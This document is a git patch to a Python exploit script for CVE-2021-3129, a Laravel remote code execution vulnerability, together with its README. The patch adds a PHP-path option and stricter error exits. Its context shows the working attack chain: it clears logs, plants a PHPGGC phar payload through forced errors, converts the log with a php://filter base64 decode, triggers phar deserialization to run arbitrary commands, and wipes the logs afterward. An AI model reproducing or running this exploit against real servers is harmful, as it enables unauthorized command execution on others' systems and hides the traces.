From 38f6e234c4d2578270d177b1539e53260ea9000b Mon Sep 17 00:00:00 2001 From: joshua-orderdaily Date: Wed, 7 Sep 2022 10:08:35 +0200 Subject: [PATCH] PHP executable check --- CVE-2021-3129.py | 38 +++++++++++++++++++++++++------------- README.md | 3 ++- 2 files changed, 27 insertions(+), 14 deletions(-) diff --git a/CVE-2021-3129.py b/CVE-2021-3129.py index bbb64f7..1618790 100644 --- a/CVE-2021-3129.py +++ b/CVE-2021-3129.py @@ -10,7 +10,7 @@ import json import pkg_resources import re -import readline +import subprocess PURPLE = '\033[95m' CYAN = '\033[96m' @@ -38,12 +38,13 @@ class Main: - def __init__(self, host, force=False, log_path=None, useragent=False, chain="monolog/rce1"): + def __init__(self, host, force=False, log_path=None, useragent=False, chain="monolog/rce1", php_executable="php"): self.host = host self.force = force self.log_path = log_path self.useragent = self.random_useragent() if useragent else "Python" self.chain = chain + self.php_executable = php_executable self.start() @@ -99,20 +100,20 @@ def cmd_execute_cmd(self, cmd): print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing. if self.exploit_clear_logs().status_code != 200: print(RED + "[!] Failed clearing logs.") - return + exit(1) print(GREEN + "[√] Cleared logs.") print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file. if self.exploit_cause_error().status_code != 500: print(RED + "[!] Failed causing error.") - return + exit(1) print(GREEN + "[√] Caused error in logs.") print(BLUE + "[@] Sending payload...") if self.exploit_request(payload, 500).status_code != 500: # Step 3. Cause error with payload so payload in log file. print(RED + "[!] Failed sending payload.") - return + exit(1) print(GREEN + "[√] Sent payload.") print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file. @@ -122,7 +123,7 @@ def cmd_execute_cmd(self, cmd): f"convert.base64-decode/resource={self.log_path}", 200).status_code != 200): print(RED + "[!] Failed converting payload.") - return + exit(1) print(GREEN + "[√] Converted payload.") exploited = self.exploit_request(f"phar://{self.log_path}", 500) # Step 5. Let host execute phar script. @@ -134,7 +135,7 @@ def cmd_execute_cmd(self, cmd): print(BLUE + "[@] Clearing logs...") # Step 6. Remove logs so phar is not downloadable/executable. if self.exploit_clear_logs().status_code != 200: print(RED + "[!] Failed clearing logs.") - return + exit(1) print(GREEN + "[√] Cleared logs.") def cmd_execute_write(self, text): @@ -144,19 +145,19 @@ def cmd_execute_write(self, text): print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing. if self.exploit_clear_logs().status_code != 200: print(RED + "[!] Failed clearing logs.") - return + exit(1) print(GREEN + "[√] Cleared logs.") print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file. if self.exploit_cause_error().status_code != 500: print(RED + "[!] Failed causing error.") - return + exit(1) print(GREEN + "[√] Caused error in logs.") print(BLUE + "[@] Sending payload...") # Step 3. Cause error with payload so payload in log file. if self.exploit_request(payload, 500).status_code != 500: print(RED + "[!] Failed sending payload.") - return + exit(1) print(GREEN + "[√] Sent payload.") print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file. @@ -166,7 +167,7 @@ def cmd_execute_write(self, text): f"convert.base64-decode/resource={self.log_path}", 200).status_code != 200): print(RED + "[!] Failed converting payload.") - return + exit(1) print(GREEN + "[√] Converted payload.") def exploit_clear_logs(self) -> requests.Response: # Clear entire log file @@ -215,6 +216,12 @@ def generate_payload(self, command: str, padding=0) -> str: if '\'' in command: command = command.replace("'", "\'") + try: + subprocess.run([self.php_executable, "-v"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + except FileNotFoundError: + print(RED + "[!] PHP does not seem to be installed. Please use the \"--php\" variable to define your PHP path.") + exit(1) + # Check PHPGGC if not os.path.exists("./phpggc-master/phpggc"): print(RED + "[!] Required binary PHPGGC not found.") @@ -222,7 +229,11 @@ def generate_payload(self, command: str, padding=0) -> str: # Build payload os.system( - f"php -d'phar.readonly=0' ./phpggc-master/phpggc {self.chain} system '{command}' --phar phar -o ./tmp.phar") + f"{self.php_executable} -d'phar.readonly=0' ./phpggc-master/phpggc {self.chain} system '{command}' --phar phar -o ./tmp.phar") + + if not os.path.exists("./tmp.phar"): + print(RED + "[!] Failed to generate phar file.") + exit(1) # Prepare/encode payload payload = open("./tmp.phar", 'rb').read() @@ -388,6 +399,7 @@ def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778 required=False, default="monolog/rce1") parser.add_argument('--chains', help='View available chains for the \"--chain\" parameter', required=False, default=False, action='store_true') + parser.add_argument('--php', help='Path to PHP executable', required=False, default="php") args = parser.parse_args() @@ -434,4 +446,4 @@ def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778 exit() requests.packages.urllib3.disable_warnings() - x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua, chain=args.chain) + x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua, chain=args.chain, php_executable=args.php) diff --git a/README.md b/README.md index 2ef4409..da68cfa 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@ $ cd CVE-2021-3129 ## Options ``` usage: CVE-2021-3129.py [-h] [--host HOST] [--force] [--log LOG] [--ua] - [--chain CHAIN] [--chains] + [--chain CHAIN] [--chains] [--php PHP] Exploit CVE-2021-3129 - Laravel vulnerability exploit script @@ -31,6 +31,7 @@ optional arguments: --chain CHAIN Select PHPGGC chain. Use "--chains" parameter to view all available chains. --chains View available chains for the "--chain" parameter + --php PHP Path to PHP executable ``` ## Example